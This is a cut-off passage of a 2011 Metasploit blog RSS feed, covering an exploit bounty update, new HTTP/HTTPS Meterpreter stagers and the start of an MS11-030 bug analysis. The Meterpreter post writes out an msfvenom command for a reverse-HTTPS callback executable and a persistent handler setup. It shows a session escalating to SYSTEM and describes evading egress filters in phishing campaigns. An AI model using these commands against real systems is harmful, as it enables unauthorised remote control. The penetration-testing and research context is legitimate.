&lt;/span&gt;&lt;/p&gt;&lt;!--[CodeBlockStart:27e1f301-ad8c-492b-abf9-060088e70839]--&gt;&lt;pre class="jive-pre"&gt;&lt;code class="jive-code"&gt;&amp;#160; $ ls modules/exploits/*/browser/*.rb | wc -l
&amp;#160; 152
&amp;#160; $ ls modules/exploits/*/browser/*.rb | xargs grep '&amp;lt;script' | wc -l
&amp;#160; 116
&lt;/code&gt;&lt;/pre&gt;&lt;!--[CodeBlockEnd:27e1f301-ad8c-492b-abf9-060088e70839]--&gt;&lt;/div&gt;&lt;!-- [DocumentBodyEnd:0d8f246f-3eaf-42ae-8b54-bbad336d148b] --&gt;&lt;img src="http://feeds.feedburner.com/~r/metasploit/blog/~4/AtDl_ZyIcEo" height="1" width="1"/&gt;</description>
      <category domain="https://community.rapid7.com/community/metasploit/blog/tags">javascript</category>
      <category domain="https://community.rapid7.com/community/metasploit/blog/tags">rkelly</category>
      <category domain="https://community.rapid7.com/community/metasploit/blog/tags">not-the-singer</category>
      <category domain="https://community.rapid7.com/community/metasploit/blog/tags">obfuscation</category>
      <pubDate>Fri, 08 Jul 2011 16:34:39 GMT</pubDate>
      <author>egypt@metasploit.com</author>
      <guid isPermaLink="false">https://community.rapid7.com/community/metasploit/blog/2011/07/08/jsobfu</guid>
      <dc:date>2011-07-08T16:34:39Z</dc:date>
      <clearspace:dateToText>2 months, 1 hour ago</clearspace:dateToText>
      <clearspace:objectType>0</clearspace:objectType>
      <wfw:comment>https://community.rapid7.com/community/metasploit/blog/comment/jsobfu</wfw:comment>
      <wfw:commentRss>https://community.rapid7.com/community/metasploit/blog/feeds/comments?blogPost=5391</wfw:commentRss>
    <feedburner:origLink>https://community.rapid7.com/community/metasploit/blog/2011/07/08/jsobfu</feedburner:origLink></item>
    <item>
      <title>Metasploit Exploit Bounty - Status Update</title>
      <link>http://feedproxy.google.com/~r/metasploit/blog/~3/NHYZ_n6PA1w/metasploit-exploit-bounty</link>
      <description>&lt;!-- [DocumentBodyStart:cf363638-530a-4b14-ad2e-412d06a16523] --&gt;&lt;div class="jive-rendered-content"&gt;&lt;p&gt;A few weeks ago the Metasploit team &lt;a class="jive-link-blog-small" href="https://community.rapid7.com/community/metasploit/blog/2011/06/14/metasploit-exploit-bounty-30-exploits-500000-in-5-weeks"&gt;announced a bounty program&lt;/a&gt; for a list of 30 vulnerabilities that were still missing Metasploit exploit modules. The results so far have been extremely positive and I wanted to take a minute to share some of the statistics. &lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;As of last night, there have been 27 participants in the bounty program resulting in 10 submissions, with 5 of those already comitted to the open source repository and the rest in varying states of completeness.&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;One vulnerability was proven to be incredibly difficult (and likely impossible) to exploit, as Joshua Drake writes in &lt;a class="jive-link-blog-small" href="https://community.rapid7.com/community/metasploit/blog/2011/06/27/ms11-030-exploitable-or-not"&gt;his extensive blog pos&lt;/a&gt;t about the research process. For those who haven't spent a week banging your head against a difficult bug, this post can give you an idea how much work is involved just to state whether or not a security flaw is exploitable. Microsoft bulletins tend to error on the side of exploitability even when there isn't direct evidence to make the case for code execution. &lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;Christopher Mcbee (Hal) deserves recognition for being the first person to submit a module for the Siemens FactoryLink vulnerability.&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;Alino was not only the first person to claim a $500 bounty, but he also managed to complete a second bounty as well!&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;Not everything went according to plan; three participants gave up before the one week deadline, eleven folks were not able to submit something in time, and one was disqualified for attempting to submit a snippet of commercial code as their own. One thing has been clear though; the Metasploit Community includes some amazing exploit developers and has an energy level that is tough to find in any other area of information security. Since the bounty was announced we have seen a record level of new patches, modules, suggestions, and community participation in the development process.&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;The bounty program is still running until July 20th; if you haven't had a chance to &lt;a class="jive-link-wiki-small" href="https://community.rapid7.com/docs/DOC-1467"&gt;look at the list&lt;/a&gt;, you are running out of time to claim an item before the final deadline. Thanks again to everyone who participated so far and keep the submissions coming!&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;-HD&lt;/p&gt;&lt;/div&gt;&lt;!-- [DocumentBodyEnd:cf363638-530a-4b14-ad2e-412d06a16523] --&gt;&lt;img src="http://feeds.feedburner.com/~r/metasploit/blog/~4/NHYZ_n6PA1w" height="1" width="1"/&gt;</description>
      <category domain="https://community.rapid7.com/community/metasploit/blog/tags">metasploit</category>
      <category domain="https://community.rapid7.com/community/metasploit/blog/tags">bounty</category>
      <pubDate>Thu, 30 Jun 2011 19:12:58 GMT</pubDate>
      <author>hdm@rapid7.com</author>
      <guid isPermaLink="false">https://community.rapid7.com/community/metasploit/blog/2011/06/30/metasploit-exploit-bounty</guid>
      <dc:date>2011-06-30T19:12:58Z</dc:date>
      <clearspace:dateToText>2 months, 1 week ago</clearspace:dateToText>
      <clearspace:objectType>0</clearspace:objectType>
      <wfw:comment>https://community.rapid7.com/community/metasploit/blog/comment/metasploit-exploit-bounty</wfw:comment>
      <wfw:commentRss>https://community.rapid7.com/community/metasploit/blog/feeds/comments?blogPost=5390</wfw:commentRss>
    <feedburner:origLink>https://community.rapid7.com/community/metasploit/blog/2011/06/30/metasploit-exploit-bounty</feedburner:origLink></item>
    <item>
      <title>Meterpreter HTTP/HTTPS Communication</title>
      <link>http://feedproxy.google.com/~r/metasploit/blog/~3/K7HVxNNrGv4/meterpreter-httphttps-communication</link>
      <description>&lt;!-- [DocumentBodyStart:e53a7b9b-f681-4568-89bc-bdd221ac3dd1] --&gt;&lt;div class="jive-rendered-content"&gt;&lt;p&gt;The Meterpreter payload within the Metasploit Framework (and used by Metasploit Pro) is an amazing toolkit for penetration testing and security assessments. Combined with the Ruby API on the Framework side and you have the simplicity of a scripting language with the power of a remote native process. These are the things that make scripts and Post modules great and what we showcase in the advanced post-exploit automation available today. Metasploit as a platform has always had a concept of an established connection equating to a session on a compromised system. Meterpreter as a payload has supported reverse TCP connections, bind shell listeners, transport over Internet Explorer using ActiveX controls (PassiveX),and more recently a HTTPS stager. This is finally changing.&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;Corporate egress filters are becoming tighter and the standard connect-back payload has become less useful for large-scale end-user phishing campaigns. The PassiveX payload worked well for specific versions of Internet Explorer, but is becoming harder to support due to version and platform differences. The HTTPS stager within Metasploit works, but only the first stage of the connection used the target's proxy settings and authentication; the second stage required a full persistent SSL connection from Meterpreter back to the attacking system.&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;Rob Fuller (who many know as mubix) was lamenting this state of affairs last Sunday and convinced me to actually do something about it. The result is native support for HTTP and HTTPS transports for the Meterpreter payload, available in the Metasploit Framework open source tree immediately. Our Metasploit Pro users will be able to take advantage of the new HTTPS stager for phishing campaigns once the code has gone through a full regression test. These payloads use the WinInet API and will leverage any proxy or authentication settings the user has configured for internet access. The HTTPS stager will cause the entire communication path to be encrypted through SSL.The HTTP stager, even without encryption, will still follow the HTTP protocol specification and allow the payload to breeze through protocol inspecting gateways.&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;These new stagers (&lt;strong&gt;reverse_http&lt;/strong&gt; and &lt;strong&gt;reverse_https&lt;/strong&gt;) are a drastic departure from our existing payloads for one singular reason; they are no longer tied to a specific TCP session between the target and the Metasploit user. Instead of a stream-based communication model, these stagers provide a packet-based transaction system instead. This mode matches the behavior of many malware families and botnets. The challenge with these payloads is identifying when the user is "done"; this is accomplished in three different ways:&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;1. The payload has a hard-coded expiration date stamped into it during the initial staging process. By default, this is one week from the current date (relative to the target). This prevents a forgotten session from connecting back indefinitely. You can control this setting through the &lt;strong&gt;SessionExpirationTimeout&lt;/strong&gt; advanced option. Setting this value to 0 indicates that it should continue connecting back until the process is forcibly killed or the target is restarted.&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;2. The payload has a hard-coded keep-alive timeout stamped into it during the staging process. This tells the payload to shutdown on its own if it is unable to connect back for a specific number of seconds. By default this is 300 secoinds (5 minutes), but it can be changed by setting the &lt;strong&gt;SessionCommunicationTimeout &lt;/strong&gt;parameter. Just like the &lt;strong&gt;SessionExpirationTimeout &lt;/strong&gt;option,setting this to 0 will result in a session that will never timeout, which has some interesting uses, as described below.&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;3. Finally, the Meterpreter payload now exposes a shutdown API (&lt;strong&gt;core_shutdown&lt;/strong&gt;). This is called automatically when the session is exited through the Metasploit Console. To avoid shutting down the payload but still exit the temporary session, use the &lt;strong&gt;detach &lt;/strong&gt;command from the Meterpreter prompt. Keep in mind that if the &lt;strong&gt;SessionCommunicationTimeout&lt;/strong&gt; is hit (5 minutes of not being able to reach a listening handler), the payload will terminate anyways. Setting this option to 0 and detaching the session will instruct the payload to keep reaching out until the &lt;strong&gt;SessionCommunicationTimeout &lt;/strong&gt;is hit or the process is killed.&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;With the new behavior and the three termination options above, some new capabilities are exposed.&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;If you are conducting a penetration test in which the compromised target has spotty internet access, setting &lt;strong&gt;SessionCommunicationTimeout&lt;/strong&gt; to 0 will ensure that your session will reattach whenever the target comes back online (as long as the handler is running). Even better, the target will use the currently configured proxy server and authentication settings to reach the Metasploit server. Rob Fuller tested the new payloads through TOR and the payload was able to keep a session alive even when the exit nodes were being changed and the TOR service was turned on and off.&amp;#160; This level of resiliency previously required a payload to be written to disk, which goes against one of the core principals of the Metasploit design.&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;If you are conducting a penetration test and want to change the IP to which your incoming connections are received, just use a DNS name for &lt;strong&gt;LHOST&lt;/strong&gt; and modify the DNS record as needed (set a low TTL). If the name does not resolve and the &lt;strong&gt;SessionCommunicationTimeout &lt;/strong&gt;and &lt;strong&gt;SessionExpirationTimeout&lt;/strong&gt; settings have not been reached, the payload will continue trying to resolve the name and connect back. The session will continue to follow DNS changes and IP changes on the target side.&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;The work that was done to support a transactional HTTP-based communication model can be easily extended to support other communication channels in the future. Communicating through IRC, using Pastebin documents, or really any other form of network communication is now relatively simple to implement. Malware, botnets, and backdoors are using increasingly sophisticated communication channels and it is about time that our security tools caught up.&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;The command line below will generate a Windows executable that uses the new HTTPS stager:&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;$ &lt;strong&gt;msfvenom -p windows/meterpreter/reverse_https -f exe LHOST=consulting.example.org LPORT=4443 &amp;gt; metasploit_https.exe&lt;/strong&gt;&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;This sequence of Metasploit Console commands will configure a listener to handle the requests:&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;$ &lt;strong&gt;./msfconsole&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;msf&amp;gt; &lt;strong&gt;use exploit/multi/handler&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;msf exploit(handler) &amp;gt; &lt;strong&gt;set PAYLOAD windows/meterpreter/reverse_https&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;msf exploit(handler) &amp;gt; &lt;strong&gt;set LHOST consulting.example.org&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;msf exploit(handler) &amp;gt; &lt;strong&gt;set LPORT 4443&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;msf exploit(handler) &amp;gt; &lt;strong&gt;set SessionCommunicationTimeout 0&lt;br/&gt;&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;msf exploit(handler) &amp;gt; &lt;strong&gt;set ExitOnSession false&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;msf exploit(handler) &amp;gt; &lt;strong&gt;exploit -j&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;[*] Exploit running as background job.&lt;/p&gt;&lt;p&gt;&lt;span&gt;[*] Started HTTPS reverse handler on &lt;/span&gt;&lt;a class="jive-link-external-small" href="https://consulting.example.org:4443/"&gt;https://consulting.example.org:4443/&lt;/a&gt;&lt;/p&gt;&lt;p&gt;[*] Starting the payload handler...&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;Running the executable on the target results in:&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;[*] 192.168.0.129:51375 Request received for /INITM...&lt;/p&gt;&lt;p&gt;[*] 192.168.0.129:51375 Staging connection for target /INITM received...&lt;/p&gt;&lt;p&gt;[*] Patched transport at offset 486516...&lt;/p&gt;&lt;p&gt;[*] Patched URL at offset 486248...&lt;/p&gt;&lt;p&gt;[*] Patched Expiration Timeout at offset 641856...&lt;/p&gt;&lt;p&gt;[*] Patched Communication Timeout at offset 641860...&lt;/p&gt;&lt;p&gt;[*] Meterpreter session 1 opened (192.168.0.3:4443 -&amp;gt; 192.168.0.129:51375) at 2011-06-29 02:43:55 -0500&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;msf exploit(handler) &amp;gt; &lt;strong&gt;sessions -i 1&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;[*] Starting interaction with 1...&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;meterpreter &amp;gt; &lt;strong&gt;getuid&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;Server username: Spine\HD&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;meterpreter &amp;gt; &lt;strong&gt;getsystem&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;...got system (via technique 1).&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;meterpreter &amp;gt; &lt;strong&gt;getuid&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;Server username: NT AUTHORITY\SYSTEM&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;meterpreter &amp;gt; &lt;strong&gt;detach&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;[*] Meterpreter session 1 closed.&amp;#160; Reason: User exit&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;At this point, we can close the Metasploit Console and bring it up at any time. &lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;After running the handler again with the same parameters:&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;[*] 192.168.0.129:51488 Request received for /CONN_mmOJARwJFmHbqXKu/...&lt;/p&gt;&lt;p&gt;[*] Incoming orphaned session CONN_mmOJARwJFmHbqXKu, reattaching...&lt;/p&gt;&lt;p&gt;[*] Meterpreter session 1 opened (192.168.0.3:4443 -&amp;gt; 192.168.0.129:51488) at 2011-06-29 02:44:24 -0500&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;msf exploit(handler) &amp;gt; &lt;strong&gt;sessions -i 1&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;[*] Starting interaction with 1...&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;meterpreter &amp;gt; &lt;strong&gt;getuid&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;Server username: NT AUTHORITY\SYSTEM&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;You can see that the session has maintained state even across different instances of Metasploit. &lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;This concept applies to background tasks like the keystroke sniffer, network sniffer, and other fuctions that accumulate information in the background.&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;-HD&lt;/p&gt;&lt;/div&gt;&lt;!-- [DocumentBodyEnd:e53a7b9b-f681-4568-89bc-bdd221ac3dd1] --&gt;&lt;img src="http://feeds.feedburner.com/~r/metasploit/blog/~4/K7HVxNNrGv4" height="1" width="1"/&gt;</description>
      <category domain="https://community.rapid7.com/community/metasploit/blog/tags">metasploit</category>
      <category domain="https://community.rapid7.com/community/metasploit/blog/tags">meterpreter</category>
      <category domain="https://community.rapid7.com/community/metasploit/blog/tags">ssl</category>
      <category domain="https://community.rapid7.com/community/metasploit/blog/tags">http</category>
      <pubDate>Wed, 29 Jun 2011 07:51:42 GMT</pubDate>
      <author>hdm@rapid7.com</author>
      <guid isPermaLink="false">https://community.rapid7.com/community/metasploit/blog/2011/06/29/meterpreter-httphttps-communication</guid>
      <dc:date>2011-06-29T07:51:42Z</dc:date>
      <clearspace:dateToText>2 months, 1 week ago</clearspace:dateToText>
      <clearspace:objectType>0</clearspace:objectType>
      <wfw:comment>https://community.rapid7.com/community/metasploit/blog/comment/meterpreter-httphttps-communication</wfw:comment>
      <wfw:commentRss>https://community.rapid7.com/community/metasploit/blog/feeds/comments?blogPost=5387</wfw:commentRss>
    <feedburner:origLink>https://community.rapid7.com/community/metasploit/blog/2011/06/29/meterpreter-httphttps-communication</feedburner:origLink></item>
    <item>
      <title>MS11-030: Exploitable or Not?</title>
      <link>http://feedproxy.google.com/~r/metasploit/blog/~3/X5wRafkDG58/ms11-030-exploitable-or-not</link>
      <description>&lt;!-- [DocumentBodyStart:e1dc0fa1-c6bd-4d9c-81a1-332ca87810bb] --&gt;&lt;div class="jive-rendered-content"&gt;&lt;p&gt;&lt;span id="internal-source-marker_0.5429540956392884" style="font-size: 11pt; font-family: Arial; color: #000000; font-weight: normal; font-style: normal; vertical-align: baseline; white-space: pre-wrap;"&gt;If you weren&amp;rsquo;t already aware, &lt;/span&gt;&lt;span style="font-size: 11pt; font-family: Arial; color: #000000; font-weight: normal; font-style: normal; vertical-align: baseline; white-space: pre-wrap;"&gt;&lt;a class="jive-link-blog-small" href="https://community.rapid7.com/community/metasploit/blog/2011/06/14/metasploit-exploit-bounty-30-exploits-500000-in-5-weeks"&gt;Rapid7 is offering a bounty&lt;/a&gt; for exploits that target a bunch of hand-selected, patched vulnerabilities. There are two lists to choose from, the &lt;a class="jive-link-wiki-small" href="https://community.rapid7.com/docs/DOC-1467"&gt;Top 5 and the Top 25&lt;/a&gt;&lt;/span&gt;&lt;span style="vertical-align: baseline; color: #000000; font-style: normal; font-size: 11pt; white-space: pre-wrap; text-decoration: underline; font-family: Arial; font-weight: normal;"&gt; &lt;/span&gt;&lt;span style="font-size: 11pt; font-family: Arial; color: #000000; font-weight: normal; font-style: normal; vertical-align: baseline; white-space: pre-wrap;"&gt;. An exploit for an issue in the Top 5 list will receive a $500 bounty and one from the Top 25&amp;#160; list will fetch a $100 bounty. In addition to a monetary reward, a successful participant also gets to join the elite group of people that have contributed to Metasploit over the years. Their work will be immortally assimilated into the Framework, under BSD license, for all to see.&lt;/span&gt;&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;&lt;span style="font-size: 11pt; font-family: Arial; color: #000000; font-weight: normal; font-style: normal; vertical-align: baseline; white-space: pre-wrap;"&gt;Despite the low value of the reward, I saw this as an opportunity to make a little extra cash and take a look a fairly challenging bug. I selected &lt;/span&gt;&lt;span style="vertical-align: baseline; color: #000000; font-style: normal; font-size: 11pt; white-space: pre-wrap; font-family: Arial; font-weight: normal;"&gt;&lt;a class="jive-link-external-small" href="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-0657"&gt;CVE-2011-0657&lt;/a&gt;&lt;/span&gt;&lt;span style="font-size: 11pt; font-family: Arial; color: #000000; font-weight: normal; font-style: normal; vertical-align: baseline; white-space: pre-wrap;"&gt; from the Top 5 due to my previous experience with the DNS protocol. After I claimed the bug, and checked that my name was safely in the table of players, I immediately began procrastinating.&lt;/span&gt;&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;&lt;span style="font-size: 11pt; font-family: Arial; color: #000000; font-weight: normal; font-style: normal; vertical-align: baseline; white-space: pre-wrap;"&gt;Later that day, Jon Butler (&lt;/span&gt;&lt;span style="vertical-align: baseline; color: #000000; font-style: normal; font-size: 11pt; white-space: pre-wrap; font-family: Arial; font-weight: normal;"&gt;&lt;a class="jive-link-external-small" href="https://twitter.com/#!/securitea"&gt;@securitea&lt;/a&gt;&lt;/span&gt;&lt;span style="font-size: 11pt; font-family: Arial; color: #000000; font-weight: normal; font-style: normal; vertical-align: baseline; white-space: pre-wrap;"&gt;) &lt;/span&gt;&lt;span style="vertical-align: baseline; color: #000000; font-style: normal; font-size: 11pt; white-space: pre-wrap; font-family: Arial; font-weight: normal;"&gt;&lt;a class="jive-link-external-small" href="https://twitter.com/#!/securitea/status/80747600600506369"&gt;tweeted&lt;/a&gt;&lt;/span&gt;&lt;span style="font-size: 11pt; font-family: Arial; color: #000000; font-weight: normal; font-style: normal; vertical-align: baseline; white-space: pre-wrap;"&gt; to the effect that he had been working on the bug. I &lt;/span&gt;&lt;span style="vertical-align: baseline; color: #000000; font-style: normal; font-size: 11pt; white-space: pre-wrap; font-family: Arial; font-weight: normal;"&gt;&lt;a class="jive-link-external-small" href="https://twitter.com/#!/jduck1337/status/80750177488617473"&gt;replied&lt;/a&gt;&lt;/span&gt;&lt;span style="font-size: 11pt; font-family: Arial; color: #000000; font-weight: normal; font-style: normal; vertical-align: baseline; white-space: pre-wrap;"&gt;, letting him know I was willing to collaborate and share the cash and glory. After discussing some logistics, Jon sent me his commented IDB of the old version of DNSAPI.dll from Windows 7 and a PoC based on &lt;/span&gt;&lt;span style="vertical-align: baseline; color: #000000; font-size: 11pt; font-style: normal; white-space: pre-wrap; font-family: Arial; font-weight: normal;"&gt;&lt;a class="jive-link-external-small" href="http://www.secdev.org/projects/scapy/"&gt;Scapy&lt;/a&gt;&lt;/span&gt;&lt;span style="font-size: 11pt; font-family: Arial; color: #000000; font-weight: normal; font-style: normal; vertical-align: baseline; white-space: pre-wrap;"&gt;. When I opened the IDB, Jon already had it pointed at the &amp;ldquo;_Dns_Ip4ReverseNameToAddress_A&amp;#8221; function. It was well commented, but I quickly invoked the Hex-Rays decompiler and started analyzing the function. You can find the HTML output &lt;/span&gt;&lt;span style="vertical-align: baseline; color: #000000; font-style: normal; font-size: 11pt; white-space: pre-wrap; font-family: Arial; font-weight: normal;"&gt;&lt;a class="jive-link-external-small" href="http://qoop.org/security/research/cve-2011-0657/Dns_Ip4ReverseNameToAddress_A.html"&gt;here&lt;/a&gt;&lt;/span&gt;&lt;span style="font-size: 11pt; font-family: Arial; color: #000000; font-weight: normal; font-style: normal; vertical-align: baseline; white-space: pre-wrap;"&gt;. You probably want to keep it open in a new tab while you continue reading.&lt;/span&gt;&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;&lt;span style="font-size: 11pt; font-family: Arial; color: #000000; font-weight: normal; font-style: normal; vertical-align: baseline; white-space: pre-wrap;"&gt;After doing some input validation, the string preceding &amp;ldquo;.in-addr.arpa&amp;#8221; is copied into a local stack buffer on line 23. Inspecting the constraints showed that it isn&amp;rsquo;t possible to cause a buffer overflow at this point.&lt;/span&gt;&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;&lt;span style="font-size: 11pt; font-family: Arial; color: #000000; font-weight: normal; font-style: normal; vertical-align: baseline; white-space: pre-wrap;"&gt;I read on and noticed that it was processing the local stack buffer in reverse. It starts with &amp;ldquo;v_suffix&amp;#8221; on line 26 and looks to see if it points at a &amp;#8216;.&amp;rsquo; character. If the value ever points at the beginning of the buffer, processing is halted and the &amp;ldquo;v_return&amp;#8221; value is written to the output &amp;ldquo;a_ret&amp;#8221; pointer on line 49. This seems all well and good, or is it?&lt;/span&gt;&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;&lt;span style="font-size: 11pt; font-family: Arial; color: #000000; font-weight: normal; font-style: normal; vertical-align: baseline; white-space: pre-wrap;"&gt;After looking for a few more minutes, I came to a realization. Here is an excerpt from the chat log with Jon.&lt;/span&gt;&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;&lt;span style="font-size: 10pt; font-family: Arial; color: #16569e; font-weight: normal; font-style: normal; vertical-align: baseline; white-space: pre-wrap;"&gt;(5:33:22 PM)&lt;/span&gt;&lt;span style="font-size: 11pt; font-family: Arial; color: #16569e; font-weight: normal; font-style: normal; vertical-align: baseline; white-space: pre-wrap;"&gt; jduck&lt;/span&gt;&lt;span style="font-size: 11pt; font-family: Arial; color: #16569e; font-weight: bold; font-style: normal; vertical-align: baseline; white-space: pre-wrap;"&gt;:&lt;/span&gt;&lt;span style="font-size: 11pt; font-family: Arial; color: #000000; font-weight: normal; font-style: normal; vertical-align: baseline; white-space: pre-wrap;"&gt; hexrays shows two nested loops&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-size: 10pt; font-family: Arial; color: #16569e; font-weight: normal; font-style: normal; vertical-align: baseline; white-space: pre-wrap;"&gt;(5:33:48 PM)&lt;/span&gt;&lt;span style="font-size: 11pt; font-family: Arial; color: #16569e; font-weight: normal; font-style: normal; vertical-align: baseline; white-space: pre-wrap;"&gt; jduck&lt;/span&gt;&lt;span style="font-size: 11pt; font-family: Arial; color: #16569e; font-weight: bold; font-style: normal; vertical-align: baseline; white-space: pre-wrap;"&gt;:&lt;/span&gt;&lt;span style="font-size: 11pt; font-family: Arial; color: #000000; font-weight: normal; font-style: normal; vertical-align: baseline; white-space: pre-wrap;"&gt; while (1) { while (1) { --endptr; .... } ... --endptr; }&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-size: 10pt; font-family: Arial; color: #16569e; font-weight: normal; font-style: normal; vertical-align: baseline; white-space: pre-wrap;"&gt;(5:33:55 PM)&lt;/span&gt;&lt;span style="font-size: 11pt; font-family: Arial; color: #16569e; font-weight: normal; font-style: normal; vertical-align: baseline; white-space: pre-wrap;"&gt; jduck&lt;/span&gt;&lt;span style="font-size: 11pt; font-family: Arial; color: #16569e; font-weight: bold; font-style: normal; vertical-align: baseline; white-space: pre-wrap;"&gt;:&lt;/span&gt;&lt;span style="font-size: 11pt; font-family: Arial; color: #000000; font-weight: normal; font-style: normal; vertical-align: baseline; white-space: pre-wrap;"&gt; so it could double decrement&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-size: 10pt; font-family: Arial; color: #16569e; font-weight: normal; font-style: normal; vertical-align: baseline; white-space: pre-wrap;"&gt;(5:34:11 PM)&lt;/span&gt;&lt;span style="font-size: 11pt; font-family: Arial; color: #16569e; font-weight: normal; font-style: normal; vertical-align: baseline; white-space: pre-wrap;"&gt; jduck&lt;/span&gt;&lt;span style="font-size: 11pt; font-family: Arial; color: #16569e; 